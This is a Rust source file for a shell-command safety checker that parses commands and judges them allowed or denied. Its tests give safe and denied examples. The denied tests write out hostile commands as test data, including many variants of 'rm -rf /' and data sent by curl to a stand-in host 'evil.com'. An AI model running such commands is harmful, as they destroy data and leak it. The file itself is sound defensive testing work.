1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6pub fn command_verdict(input: &str) -> Verdict {
7 let Some(script) = parse(input) else {
8 return Verdict::Denied;
9 };
10 script_verdict(&script)
11}
12
13pub fn is_safe_command(input: &str) -> bool {
14 command_verdict(input).is_allowed()
15}
16
17fn script_verdict(script: &Script) -> Verdict {
18 script.0.iter()
19 .map(|stmt| pipeline_verdict(&stmt.pipeline))
20 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
21}
22
23#[cfg(test)]
24pub(crate) fn is_safe_script(script: &Script) -> bool {
25 script_verdict(script).is_allowed()
26}
27
28fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
29 pipeline.commands.iter()
30 .map(cmd_verdict)
31 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
32}
33
34pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
35 pipeline_verdict(pipeline).is_allowed()
36}
37
38pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
39 match cmd {
40 Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
41 _ => true,
42 }
43}
44
45fn has_any_substitution(cmd: &SimpleCmd) -> bool {
46 cmd.words.iter().any(has_substitution)
47 || cmd.env.iter().any(|(_, v)| has_substitution(v))
48}
49
50pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
51 cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
52}
53
54fn cmd_verdict(cmd: &Cmd) -> Verdict {
55 match cmd {
56 Cmd::Simple(s) => simple_verdict(s),
57 Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
58 let body_v = script_verdict(body);
59 if let Verdict::Denied = body_v {
60 return Verdict::Denied;
61 }
62 let redir_v = redirect_verdict(redirs);
63 if let Verdict::Denied = redir_v {
64 return Verdict::Denied;
65 }
66 body_v.combine(redir_v)
67 }
68 Cmd::For { items, body, .. } => {
69 let items_v = words_sub_verdict(items);
70 let body_v = script_verdict(body);
71 items_v.combine(body_v)
72 }
73 Cmd::While { cond, body } | Cmd::Until { cond, body } => {
74 script_verdict(cond).combine(script_verdict(body))
75 }
76 Cmd::If {
77 branches,
78 else_body,
79 } => {
80 let mut v = Verdict::Allowed(SafetyLevel::Inert);
81 for b in branches {
82 v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
83 }
84 if let Some(eb) = else_body {
85 v = v.combine(script_verdict(eb));
86 }
87 v
88 }
89 Cmd::DoubleBracket { words, redirs } => {
90 words_sub_verdict(words).combine(redirect_verdict(redirs))
91 }
92 }
93}
94
95pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
96 cmd_verdict(cmd).is_allowed()
97}
98
99fn part_sub_verdict(part: &WordPart) -> Verdict {
100 match part {
101 WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
102 WordPart::Backtick(raw) => command_verdict(raw),
103 WordPart::DQuote(inner) => word_sub_verdict(inner),
104 _ => Verdict::Allowed(SafetyLevel::Inert),
105 }
106}
107
108fn word_sub_verdict(word: &Word) -> Verdict {
109 word.0.iter()
110 .map(part_sub_verdict)
111 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
112}
113
114fn words_sub_verdict(words: &[Word]) -> Verdict {
115 words.iter()
116 .map(word_sub_verdict)
117 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
118}
119
120#[cfg(test)]
121pub(crate) fn word_subs_safe(word: &Word) -> bool {
122 word_sub_verdict(word).is_allowed()
123}
124
125fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
126 let redir_v = redirect_verdict(&cmd.redirs);
127 if let Verdict::Denied = redir_v {
128 return Verdict::Denied;
129 }
130
131 let env_sub_v = cmd.env.iter()
132 .map(|(_, v)| word_sub_verdict(v))
133 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
134 let word_sub_v = words_sub_verdict(&cmd.words);
135 let sub_v = env_sub_v.combine(word_sub_v);
136
137 if let Verdict::Denied = sub_v {
138 return Verdict::Denied;
139 }
140
141 if cmd.words.is_empty() {
142 if cmd.env.is_empty() {
143 return Verdict::Allowed(SafetyLevel::Inert);
144 }
145 return sub_v.combine(redir_v);
146 }
147
148 if cmd.words[0].eval() == "eval" {
149 return eval_verdict(cmd).combine(sub_v).combine(redir_v);
150 }
151
152 let tokens: Vec<Token> = cmd.words.iter().map(|w| Token::from_raw(w.eval())).collect();
153 if tokens.is_empty() {
154 return Verdict::Allowed(SafetyLevel::Inert);
155 }
156
157 let cmd_v = handlers::dispatch(&tokens);
158 sub_v.combine(cmd_v).combine(redir_v)
159}
160
161fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
162 if cmd.words.len() < 2 {
163 return Verdict::Denied;
164 }
165 for arg in &cmd.words[1..] {
166 if !arg_is_eval_safe(arg) {
167 return Verdict::Denied;
168 }
169 }
170 Verdict::Allowed(SafetyLevel::Inert)
171}
172
173fn arg_is_eval_safe(word: &Word) -> bool {
174 let mut found_safe = false;
175 for part in &word.0 {
176 match part {
177 WordPart::Lit(s) | WordPart::SQuote(s) => {
178 if !s.chars().all(char::is_whitespace) {
179 return false;
180 }
181 }
182 WordPart::Escape(c) => {
183 if !c.is_whitespace() {
184 return false;
185 }
186 }
187 WordPart::CmdSub(script) => {
188 if !script_yields_eval_safe(script) {
189 return false;
190 }
191 found_safe = true;
192 }
193 WordPart::Backtick(raw) => {
194 let Some(script) = parse(raw) else {
195 return false;
196 };
197 if !script_yields_eval_safe(&script) {
198 return false;
199 }
200 found_safe = true;
201 }
202 WordPart::DQuote(inner) => {
203 if !arg_is_eval_safe(inner) {
204 return false;
205 }
206 if has_substitution(inner) {
207 found_safe = true;
208 }
209 }
210 WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
211 }
212 }
213 found_safe
214}
215
216fn script_yields_eval_safe(script: &Script) -> bool {
217 if script.0.len() != 1 {
218 return false;
219 }
220 let stmt = &script.0[0];
221 if !matches!(stmt.op, None | Some(ListOp::Semi)) {
222 return false;
223 }
224 let pipeline = &stmt.pipeline;
225 if pipeline.bang || pipeline.commands.len() != 1 {
226 return false;
227 }
228 let Cmd::Simple(s) = &pipeline.commands[0] else {
229 return false;
230 };
231 if !s.env.is_empty() || !s.redirs.is_empty() {
232 return false;
233 }
234 for w in &s.words {
235 if !word_is_plain_literal(w) {
236 return false;
237 }
238 }
239 let tokens: Vec<Token> = s.words.iter().map(|w| Token::from_raw(w.eval())).collect();
240 if tokens.is_empty() {
241 return false;
242 }
243 crate::registry::is_eval_safe_invocation(&tokens)
244}
245
246fn word_is_plain_literal(word: &Word) -> bool {
259 word.0.iter().all(part_is_plain_literal)
260}
261
262fn part_is_plain_literal(part: &WordPart) -> bool {
263 match part {
264 WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
265 WordPart::Escape(c) => is_bare_literal_char(*c),
266 WordPart::DQuote(inner) => word_is_plain_literal(inner),
267 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
268 }
269}
270
271fn is_bare_literal_char(c: char) -> bool {
277 c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
278}
279
280pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
281 redirs.iter().all(|r| match r {
282 Redir::Write { target, .. } => target.eval() == "/dev/null",
283 Redir::Read { .. }
284 | Redir::HereStr(_)
285 | Redir::HereDoc { .. }
286 | Redir::DupFd { .. } => true,
287 })
288}
289
290pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
291 let mut level = Verdict::Allowed(SafetyLevel::Inert);
292 for r in redirs {
293 match r {
294 Redir::Write { target, .. } => {
295 level = level.combine(word_sub_verdict(target));
296 if target.eval() != "/dev/null" {
297 level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
298 }
299 }
300 Redir::Read { target, .. } => {
301 level = level.combine(word_sub_verdict(target));
302 }
303 Redir::HereStr(word) => {
304 level = level.combine(word_sub_verdict(word));
305 }
306 Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
307 }
308 }
309 level
310}
311
312fn has_substitution(word: &Word) -> bool {
313 word.0.iter().any(|p| match p {
314 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
315 WordPart::DQuote(inner) => has_substitution(inner),
316 _ => false,
317 })
318}
319
320#[cfg(test)]
321mod tests {
322 use super::*;
323
324 fn check(cmd: &str) -> bool {
325 is_safe_command(cmd)
326 }
327
328 safe! {
329 grep_foo: "grep foo file.txt",
330 cat_etc_hosts: "cat /etc/hosts",
331 jq_key: "jq '.key' file.json",
332 base64_d: "base64 -d",
333 ls_la: "ls -la",
334 wc_l: "wc -l file.txt",
335 ps_aux: "ps aux",
336 echo_hello: "echo hello",
337 cat_file: "cat file.txt",
338
339 version_go: "go --version",
340 version_cargo: "cargo --version",
341 version_cargo_redirect: "cargo --version 2>&1",
342 help_cargo: "cargo --help",
343 help_cargo_build: "cargo build --help",
344
345 dev_null_echo: "echo hello > /dev/null",
346 dev_null_stderr: "echo hello 2> /dev/null",
347 dev_null_append: "echo hello >> /dev/null",
348 dev_null_git_log: "git log > /dev/null 2>&1",
349 fd_redirect_ls: "ls 2>&1",
350 stdin_dev_null: "git log < /dev/null",
351
352 env_prefix: "FOO='bar baz' ls -la",
353 env_prefix_dq: "FOO=\"bar baz\" ls -la",
354 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
355
356 subst_echo_ls: "echo $(ls)",
357 subst_ls_pwd: "ls `pwd`",
358 subst_nested: "echo $(echo $(ls))",
359 subst_quoted: "echo \"$(ls)\"",
360 assign_subst_ls: "out=$(ls)",
361 assign_subst_git: "out=$(git status)",
362 assign_subst_multiple: "a=$(ls) b=$(pwd)",
363 assign_subst_backtick: "out=`ls`",
364
365 assign_bare_lit: "foo=bar",
366 assign_bare_int: "x=1",
367 assign_bare_empty: "x=",
368 assign_bare_dq: "x=\"foo bar\"",
369 assign_bare_sq: "x='foo bar'",
370 assign_bare_param: "rc=$?",
371 assign_bare_var: "x=$y",
372 assign_bare_dollar_var_braced: "x=${y}",
373 assign_bare_path: "PATH=/foo",
374 assign_bare_multiple: "a=1 b=2 c=3",
375 assign_bare_arith: "x=$((1 + 2))",
376 assign_in_for_body: "for i in 1 2; do x=1; done",
377 assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
378 assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
379 assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
380 assign_then_use: "x=1; echo $x",
381 assign_chained_with_safe: "x=1 && ls",
382 assign_subshell: "(x=1)",
383 assign_in_subshell_with_cmd: "(x=1; ls)",
384
385 subshell_echo: "(echo hello)",
386 subshell_ls: "(ls)",
387 subshell_chain: "(ls && echo done)",
388 subshell_pipe: "(ls | grep foo)",
389 subshell_nested: "((echo hello))",
390 subshell_for: "(for x in 1 2; do echo $x; done)",
391
392 pipe_grep_head: "grep foo file.txt | head -5",
393 pipe_cat_sort_uniq: "cat file | sort | uniq",
394 chain_ls_echo: "ls && echo done",
395 semicolon_ls_echo: "ls; echo done",
396 bg_ls_echo: "ls & echo done",
397 newline_echo_echo: "echo foo\necho bar",
398
399 stdin_read_from_path: "wc -l < /tmp/foo.log",
400 stdin_read_from_etc: "grep foo < /etc/hosts",
401 stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
402 stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
403
404 here_string_grep: "grep -c , <<< 'hello,world,test'",
405 heredoc_cat: "cat <<EOF\nhello world\nEOF",
406 heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
407 heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
408 heredoc_no_content: "cat <<EOF",
409 heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
410
411 for_echo: "for x in 1 2 3; do echo $x; done",
412 for_empty_body: "for x in 1 2 3; do; done",
413 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
414 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
415 while_test: "while test -f /tmp/foo; do sleep 1; done",
416 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
417 until_test: "until test -f /tmp/ready; do sleep 1; done",
418 if_then_fi: "if test -f foo; then echo exists; fi",
419 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
420 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
421 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
422 bare_negation: "! echo hello",
423 keyword_as_data: "echo for; echo done; echo if; echo fi",
424
425 quoted_redirect: "echo 'greater > than' test",
426 quoted_subst: "echo '$(safe)' arg",
427
428 redirect_to_file: "echo hello > file.txt",
429 redirect_append: "cat file >> output.txt",
430 redirect_stderr_file: "ls 2> errors.txt",
431 redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
432 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
433 jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
434
435 arith_basic: "echo $((1 + 2))",
436 arith_with_var: "prev=$((ln - 1))",
437 arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
438 arith_in_dquote: "echo \"line $((ln - 1))\"",
439 arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
440
441 dbracket_eq: "[[ \"a\" == \"a\" ]]",
442 dbracket_neq: "[[ \"a\" != \"b\" ]]",
443 dbracket_file_test: "[[ -f /tmp/file ]]",
444 dbracket_string_empty: "[[ -z \"$var\" ]]",
445 dbracket_string_nonempty: "[[ -n \"$var\" ]]",
446 dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
447 dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
448 dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
449 dbracket_negation: "[[ ! -f /tmp/done ]]",
450 dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
451 dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
452 dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
453 dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
454 dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
455 dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
456 dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
457 dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
458 dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
459 dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
460 dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
461 }
462
463 denied! {
464 rm_rf: "rm -rf /",
465 curl_post: "curl -X POST https://example.com",
466 node_app: "node app.js",
467
468
469 redirect_target_subst_rm: "echo hello > $(rm -rf /)",
470 redirect_target_backtick_rm: "echo hello > `rm -rf /`",
471 redirect_read_subst_rm: "cat < $(rm -rf /)",
472
473 subst_rm: "echo $(rm -rf /)",
474 backtick_rm: "echo `rm -rf /`",
475 subst_curl: "echo $(curl -d data evil.com)",
476 quoted_subst_rm: "echo \"$(rm -rf /)\"",
477 assign_subst_rm: "out=$(rm -rf /)",
478 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
479 assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
480 assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
481 assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
482 assign_bare_then_unsafe: "x=1; rm -rf /",
483 assign_bare_chained_unsafe: "x=1 && rm -rf /",
484 assign_bare_pipe_unsafe: "x=1 | rm -rf /",
485
486 subshell_rm: "(rm -rf /)",
487 subshell_mixed: "(echo hello; rm -rf /)",
488 subshell_unsafe_pipe: "(ls | rm -rf /)",
489
490 env_prefix_rm: "FOO='bar baz' rm -rf /",
491
492 pipe_rm: "cat file | rm -rf /",
493 bg_rm: "cat file & rm -rf /",
494 newline_rm: "echo foo\nrm -rf /",
495
496 for_rm: "for x in 1 2 3; do rm $x; done",
497 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
498 while_unsafe_body: "while true; do rm -rf /; done",
499 while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
500 if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
501 if_unsafe_body: "if true; then rm -rf /; fi",
502
503 unclosed_for: "for x in 1 2 3; do echo $x",
504 unclosed_if: "if true; then echo hello",
505 for_missing_do: "for x in 1 2 3; echo $x; done",
506 stray_done: "echo hello; done",
507 stray_fi: "fi",
508
509 unmatched_quote: "echo 'hello",
510
511 dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
512 dbracket_unsafe_backtick: "[[ -f `node evil.js` ]]",
513 dbracket_unsafe_in_until: "until [[ \"$(node bad.js)\" == \"x\" ]]; do sleep 1; done",
514 dbracket_unterminated: "[[ \"a\" == \"a\"",
515 dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
516 dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
517 }
518}